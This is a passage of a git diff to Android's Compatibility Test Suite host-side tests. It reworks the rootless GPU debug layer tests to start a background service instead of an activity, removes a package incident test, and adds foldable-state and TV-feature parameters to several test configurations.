+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.rootlessgpudebug.app;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+
+import java.lang.Override;
+
+
+public class RootlessGpuDebugService extends Service {
+
+    private static final String TAG = RootlessGpuDebugService.class.getSimpleName();
+
+    static {
+        System.loadLibrary("ctsgputools_jni");
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        // We don't provide binding, so return null
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+
+        // The target API is provided via Intent extras
+        String API = null;
+
+        if (intent == null) {
+            throw new AssertionError("No Intent provided to " + TAG);
+        }
+
+        Bundle bundle = intent.getExtras();
+
+        // Ensure the service was started with extras
+        if (bundle == null) {
+            throw new AssertionError("Failed to get Intent extras for " + TAG);
+        }
+
+        API = bundle.getString("API");
+
+        // Without an API to target, we're done
+        if (API == null) {
+            throw new AssertionError("No API provided for " + TAG);
+        }
+
+        // Only three combinations are expected
+        Boolean supportedApi = API.equals("Vulkan") ||
+                               API.equals("GLES") ||
+                               API.equals("Both");
+        if (!supportedApi) {
+            throw new AssertionError("Unsupported API " + API + " in " + TAG);
+        }
+
+        // For each choice, init the target API
+        if (API.equals("Vulkan") || API.equals("Both")) {
+            String result = nativeInitVulkan();
+            Log.i(TAG, result);
+        }
+
+        if (API.equals("GLES") || API.equals("Both")) {
+            String result = nativeInitGLES();
+            Log.i(TAG, result);
+        }
+
+        // Mark service completion
+        Log.i(TAG, "RootlessGpuDebugService complete");
+
+        // Don't try to restart when this is shut down
+        return START_NOT_STICKY;
+    }
+
+    private static native String nativeInitVulkan();
+    private static native String nativeInitGLES();
+}
+
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index 4ec4ef8..3f4c4c9 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -33,7 +33,7 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CtsRootlessGpuDebugHostTest extends BaseHostJUnit4Test {
 
-    public static final String TAG = "RootlessGpuDebugDeviceActivity";
+    public static final String TAG = "RootlessGpuDebugService";
 
     // This test ensures that the Vulkan and GLES loaders can use Settings to load layers
     // from the base directory of debuggable applications.  Is also tests several
@@ -90,8 +90,9 @@
     // Positive combined tests
     // - Ensure we can load Vulkan and GLES layers at the same time, from multiple external apps (testMultipleExternalApps)
 
-    private static final String CLASS = "RootlessGpuDebugDeviceActivity";
-    private static final String ACTIVITY = "android.rootlessgpudebug.app.RootlessGpuDebugDeviceActivity";
+    private static final String API_VULKAN = "Vulkan";
+    private static final String API_GLES = "GLES";
+    private static final String API_BOTH = "Both";
     private static final String VK_LAYER_LIB_PREFIX = "libVkLayer_nullLayer";
     private static final String VK_LAYER_A_LIB = VK_LAYER_LIB_PREFIX + "A.so";
     private static final String VK_LAYER_B_LIB = VK_LAYER_LIB_PREFIX + "B.so";
@@ -257,7 +258,7 @@
                     result.found = true;
                     result.lineNumber = lineNumber;
                 }
-                if (line.contains("RootlessGpuDebug activity complete")) {
+                if (line.contains("RootlessGpuDebugService complete")) {
                     // Once we've got output from the app, we've collected what we need
                     scanComplete= true;
                 }
@@ -311,6 +312,20 @@
     }
 
     /**
+     * Launch our test as a background service, avoiding any platform rendering code
+     */
+    private void launchBackgroundService(String appName, String Api) throws Exception {
+
+        // Allow the app to be launched as a background service
+        getDevice().executeAdbCommand("shell", "cmd", "deviceidle", "tempwhitelist", appName);
+
+        // Start the service and tell it to init Vulkan/GLES/Both
+        getDevice().executeAdbCommand("shell", "am", "startservice", "-a", "android.service.action.TARGET_API_SERVICE",
+                                      "--es", "API", Api, appName);
+    }
+
+
+    /**
      * This is the primary test of the feature. It pushes layers to our debuggable app and ensures they are
      * loaded in the correct order.
      */
@@ -326,7 +341,6 @@
         setupLayer(VK_LAYER_A_LIB, LAYERS_APP);
         setupLayer(VK_LAYER_B_LIB, LAYERS_APP);
 
-
         // Copy them over to our DEBUG app
         getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + VK_LAYER_A_LIB, "|",
                 "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
@@ -335,10 +349,9 @@
                 "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", VK_LAYER_B_LIB, ";", "chmod", "700", VK_LAYER_B_LIB + "\'");
 
-
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        launchBackgroundService(DEBUG_APP, API_VULKAN);
 
         // Check that both layers were loaded, in the correct order
         String searchStringA = "nullCreateInstance called in " + VK_LAYER_A;
@@ -353,6 +366,7 @@
     }
 
     public void testLayerNotLoadedVulkan(final String APP_NAME) throws Exception {
+
         // Set up a layers to be loaded for RELEASE or INJECT app
         applySetting("enable_gpu_debug_layers", "1");
         applySetting("gpu_debug_app", APP_NAME);
@@ -366,9 +380,9 @@
             "run-as", APP_NAME, "--user", Integer.toString(getDevice().getCurrentUser()),
             "sh", "-c", "\'cat", ">", VK_LAYER_A_LIB, ";", "chmod", "700", VK_LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
 
-        // Kick off our RELEASE app
+        // Kick off our app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", APP_NAME + "/" + ACTIVITY);
+        launchBackgroundService(APP_NAME, API_VULKAN);
 
         // Ensure we don't load the layer in base dir
         assertVkLayerEnumeration(appStartTime, VK_LAYER_A, false);
@@ -414,7 +428,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        launchBackgroundService(DEBUG_APP, API_VULKAN);
 
         // Ensure we don't load the layer in base dir
         assertVkLayerEnumeration(appStartTime, VK_LAYER_A, false);
@@ -442,7 +456,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        launchBackgroundService(DEBUG_APP, API_VULKAN);
 
         // Ensure we don't load the layer in base dir
         assertVkLayerEnumeration(appStartTime, VK_LAYER_A, false);
@@ -470,7 +484,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        launchBackgroundService(DEBUG_APP, API_VULKAN);
 
         // Ensure layerA is not loaded
         assertVkLayerLoading(appStartTime, VK_LAYER_A, false);
@@ -492,7 +506,7 @@
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        launchBackgroundService(RELEASE_APP, API_VULKAN);
 
         // Check that only layerC was loaded
         assertVkLayerEnumeration(appStartTime, VK_LAYER_A, false);
@@ -527,7 +541,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        launchBackgroundService(DEBUG_APP, API_VULKAN);
 
         // Ensure only layerA is loaded
         assertVkLayerLoading(appStartTime, VK_LAYER_A, true);
@@ -548,9 +562,9 @@
         // Specify the external app that hosts layers
         applySetting("gpu_debug_layer_app", LAYERS_APP);
 
-        // Kick off our DEBUG app
+        // Kick off our app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", APP_NAME + "/" + ACTIVITY);
+        launchBackgroundService(APP_NAME, API_VULKAN);
 
         String[] layerNames = layers.split(":");
         for (String layerName : layerNames) {
@@ -621,7 +635,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        launchBackgroundService(DEBUG_APP, API_GLES);
 
         // Check that both layers were loaded, in the correct order
         String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -657,7 +671,7 @@
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        launchBackgroundService(RELEASE_APP, API_GLES);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = GLES_LAYER_A + " loaded";
@@ -686,7 +700,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        launchBackgroundService(DEBUG_APP, API_GLES);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = GLES_LAYER_A + " loaded";
@@ -715,7 +729,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        launchBackgroundService(DEBUG_APP, API_GLES);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = GLES_LAYER_A + " loaded";
@@ -744,7 +758,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        launchBackgroundService(DEBUG_APP, API_GLES);
 
         // Ensure layerA is not loaded
         String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -768,7 +782,7 @@
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        launchBackgroundService(RELEASE_APP, API_GLES);
 
         // Check that both layers were loaded, in the correct order
         String searchStringA = GLES_LAYER_A + "loaded";
@@ -808,7 +822,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        launchBackgroundService(DEBUG_APP, API_GLES);
 
         // Ensure only layerA is loaded
         String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -829,9 +843,9 @@
         // Specify the external app that hosts layers
         applySetting("gpu_debug_layer_app", GLES_LAYERS_APP);
 
-        // Kick off our DEBUG app
+        // Kick off our app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", APP_NAME + "/" + ACTIVITY);
+        launchBackgroundService(APP_NAME, API_GLES);
 
         // Check that our external layer was loaded
         String searchStringC = "glesLayer_eglChooseConfig called in " + GLES_LAYER_C;
@@ -872,7 +886,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        launchBackgroundService(DEBUG_APP, API_BOTH);
 
         // Check that external layers were loaded from both apps
         assertVkLayerLoading(appStartTime, VK_LAYER_C, true);
diff --git a/hostsidetests/graphics/framerateoverride/AndroidTest.xml b/hostsidetests/graphics/framerateoverride/AndroidTest.xml
index 1b673fc..cb8d86a 100644
--- a/hostsidetests/graphics/framerateoverride/AndroidTest.xml
+++ b/hostsidetests/graphics/framerateoverride/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
 
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsFrameRateOverrideTestCases.jar" />
diff --git a/hostsidetests/hdmicec/AndroidTest.xml b/hostsidetests/hdmicec/AndroidTest.xml
index 34f906e..80a36da 100644
--- a/hostsidetests/hdmicec/AndroidTest.xml
+++ b/hostsidetests/hdmicec/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="HdmiCecHelperApp.apk" />
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index a756004..e959abd 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
@@ -45,8 +45,6 @@
 
         DiskStatsProtoTest.verifyDiskStatsServiceDumpProto(dump.getDiskstats(), filterLevel, getDevice());
 
-        PackageIncidentTest.verifyPackageServiceDumpProto(dump.getPackage(), filterLevel);
-
         PowerIncidentTest.verifyPowerManagerServiceDumpProto(dump.getPower(), filterLevel);
 
         if (PrintProtoTest.supportsPrinting(getDevice())) {
diff --git a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
deleted file mode 100644
index 66137c1..0000000
--- a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts;
-
-import android.service.pm.PackageProto;
-import android.service.pm.PackageProto.UserInfoProto;
-import android.service.pm.PackageServiceDumpProto;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/** Test for "dumpsys package --proto" */
-public class PackageIncidentTest extends ProtoDumpTestCase {
-    // Use the test apk from the BatteryStatsIncidentTest
-    private static final String DEVICE_SIDE_TEST_APK = "CtsBatteryStatsApp.apk";
-    private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.device.batterystats";
-
-    @Override
-    protected void tearDown() throws Exception {
-        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-
-        super.tearDown();
-    }
-
-    private static void assertPositive(String name, long value) {
-        if (value > 0) return;
-        fail(name + " expected to be positive, but was: " + value);
-    }
-
-    private static void assertNotNegative(String name, long value) {
-        if (value >= 0) return;
-        fail(name + " expected to be zero or positive, but was: " + value);
-    }
-
-    /** Parse the output of "dumpsys package --proto" and make sure the values are probable. */
-    public void testPackageServiceDump() throws Exception {
-        final long st = System.currentTimeMillis();
-
-        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
-
-        // Find the package UID, version code, and version string.
-        final Matcher matcher =
-                execCommandAndFind(
-                        "dumpsys package " + DEVICE_SIDE_TEST_PACKAGE,
-                        "userId=(\\d+).*versionCode=(\\d+).*versionName=([^\\n]*)",
-                        Pattern.DOTALL);
-        final int uid = Integer.parseInt(matcher.group(1));
-        final int versionCode = Integer.parseInt(matcher.group(2));
-        final String versionString = matcher.group(3).trim();
-
-        final PackageServiceDumpProto dump =
-                getDump(PackageServiceDumpProto.parser(), "dumpsys package --proto");
-
-        PackageProto testPackage = null;
-        for (PackageProto pkg : dump.getPackagesList()) {
-            if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
-                testPackage = pkg;
-                break;
-            }
-        }
-
-        assertNotNull(testPackage);
-        assertEquals(testPackage.getName(), DEVICE_SIDE_TEST_PACKAGE);
-        assertEquals(testPackage.getUid(), uid);
-        assertEquals(testPackage.getVersionCode(), versionCode);
-        assertEquals(testPackage.getVersionString(), versionString);
-        assertPositive("install_time_ms", testPackage.getInstallTimeMs());
-        assertEquals(testPackage.getInstallTimeMs(), testPackage.getUpdateTimeMs());
-        assertEquals(testPackage.getSplits(0).getName(), "base");
-        assertEquals(testPackage.getSplits(0).getRevisionCode(), 0);
-        assertNotNull(testPackage.getUserPermissionsList());
-
-        UserInfoProto testUser = testPackage.getUsers(0);
-        assertEquals(testUser.getId(), 0);
-        assertEquals(testUser.getInstallType(),
-                PackageProto.UserInfoProto.InstallType.FULL_APP_INSTALL);
-        assertFalse(testUser.getIsHidden());
-        assertFalse(testUser.getIsLaunched());
-        assertFalse(testUser.getEnabledState() == PackageProto.UserInfoProto
-                .EnabledState.COMPONENT_ENABLED_STATE_DISABLED_USER);
-
-        verifyPackageServiceDumpProto(dump, PRIVACY_NONE);
-    }
-
-    static void verifyPackageServiceDumpProto(PackageServiceDumpProto dump, final int filterLevel) throws Exception {
-        assertNotNull(dump.getVerifierPackage().getName());
-        assertNotNull(dump.getSharedLibraries(0).getName());
-        if (dump.getSharedLibraries(0).getIsJar()) {
-            assertNotNull(dump.getSharedLibraries(0).getPath());
-        } else {
-            assertNotNull(dump.getSharedLibraries(0).getApk());
-        }
-        assertNotNull(dump.getFeatures(0).getName());
-
-        PackageServiceDumpProto.SharedUserProto systemUser = null;
-        for (PackageServiceDumpProto.SharedUserProto user : dump.getSharedUsersList()) {
-            if (user.getUid() == 1000) {
-                systemUser = user;
-                break;
-            }
-        }
-        assertNotNull(systemUser);
-        assertEquals("android.uid.system", systemUser.getName());
-
-        if (filterLevel == PRIVACY_AUTO) {
-            for (String msg : dump.getMessagesList()) {
-                assertTrue(msg.isEmpty());
-            }
-        }
-    }
-}
diff --git a/hostsidetests/incrementalinstall/AndroidTest.xml b/hostsidetests/incrementalinstall/AndroidTest.xml
index 68b3b56..4721e7a 100644
--- a/hostsidetests/incrementalinstall/AndroidTest.xml
+++ b/hostsidetests/incrementalinstall/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
index afaa9c8..6423aff 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
@@ -29,6 +29,8 @@
     // Copied from android.content.pm.PackageManager#FEATURE_INPUT_METHODS.
     public static final String FEATURE_INPUT_METHODS = "android.software.input_methods";
 
+    public static final String FEATURE_TV_OPERATOR_TIER = "com.google.android.tv.operator_tier";
+
     private static final String SETTING_DEFAULT_IME = "secure default_input_method";
 
     /** Command to get ID of current IME. */
diff --git a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
index 7c8132a..6454624 100644
--- a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
+++ b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
@@ -18,6 +18,7 @@
 <configuration description="Config for CTS Input Method Service host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="inputmethod" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index 4064ff5..b70eaa5 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -24,6 +24,7 @@
 import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_COMPONENT;
 
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.inputmethodservice.cts.common.ComponentNameUtils;
@@ -460,6 +461,9 @@
 
     private void testImeSwitchingWithoutWindowFocusAfterDisplayOffOn(boolean instant)
             throws Exception {
+        // Skip whole tests when DUT has com.google.android.tv.operator_tier feature.
+        // TODO(b/222687343): Remove this limitation in the future.
+        assumeFalse(hasDeviceFeature(ShellCommandUtils.FEATURE_TV_OPERATOR_TIER));
         sendTestStartEvent(
                 DeviceTestConstants.TEST_IME_SWITCHING_WITHOUT_WINDOW_FOCUS_AFTER_DISPLAY_OFF_ON);
         installPossibleInstantPackage(
diff --git a/hostsidetests/install/AndroidTest.xml b/hostsidetests/install/AndroidTest.xml
index 35073c7..1eae5f6 100644
--- a/hostsidetests/install/AndroidTest.xml
+++ b/hostsidetests/install/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <!-- TODO(b/137885984): Revisit secondary user eligibility once the issue is resolved. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="InstallTest.apk" />
diff --git a/hostsidetests/jdwpsecurity/AndroidTest.xml b/hostsidetests/jdwpsecurity/AndroidTest.xml
index f946b9b..22c72f3 100644
--- a/hostsidetests/jdwpsecurity/AndroidTest.xml
+++ b/hostsidetests/jdwpsecurity/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for the CTS JDWP host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jdwptunnel/AndroidTest.xml b/hostsidetests/jdwptunnel/AndroidTest.xml
index 89b8c74..1fc36bb 100644
--- a/hostsidetests/jdwptunnel/AndroidTest.xml
+++ b/hostsidetests/jdwptunnel/AndroidTest.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Config for the CTS JDWP tunnel host test cases">
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml b/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml
index 3e33f5d..9c7bc71 100644
--- a/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml
+++ b/hostsidetests/jvmti/allocation-tracking/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/attaching/host/AndroidTest.xml b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
index c9da495..f497928 100644
--- a/hostsidetests/jvmti/attaching/host/AndroidTest.xml
+++ b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/redefining/AndroidTest.xml b/hostsidetests/jvmti/redefining/AndroidTest.xml
index cf6a724..1f37516 100644
--- a/hostsidetests/jvmti/redefining/AndroidTest.xml
+++ b/hostsidetests/jvmti/redefining/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/OWNERS b/hostsidetests/jvmti/run-tests/OWNERS
index 33082e9..a7cdcf3 100644
--- a/hostsidetests/jvmti/run-tests/OWNERS
+++ b/hostsidetests/jvmti/run-tests/OWNERS
@@ -1,2 +1,6 @@
 # Bug component: 86431
 allight@google.com
+dsrbecky@google.com
+ngeoffray@google.com
+oth@google.com
+rpl@google.com
diff --git a/hostsidetests/jvmti/run-tests/test-1900/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1900/AndroidTest.xml
index 9d804de..c9209b6 100644
--- a/hostsidetests/jvmti/run-tests/test-1900/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1900/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1901/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1901/AndroidTest.xml
index c6b755f..f964360 100644
--- a/hostsidetests/jvmti/run-tests/test-1901/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1901/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1902/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1902/AndroidTest.xml
index 2194c0f..66c9e36 100644
--- a/hostsidetests/jvmti/run-tests/test-1902/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1902/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1903/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1903/AndroidTest.xml
index 12a4eb3..ae0522c 100644
--- a/hostsidetests/jvmti/run-tests/test-1903/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1903/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts"/>
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
diff --git a/hostsidetests/jvmti/run-tests/test-1904/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1904/AndroidTest.xml
index 3730edf..47e7d0d 100644
--- a/hostsidetests/jvmti/run-tests/test-1904/AndroidTest.xml
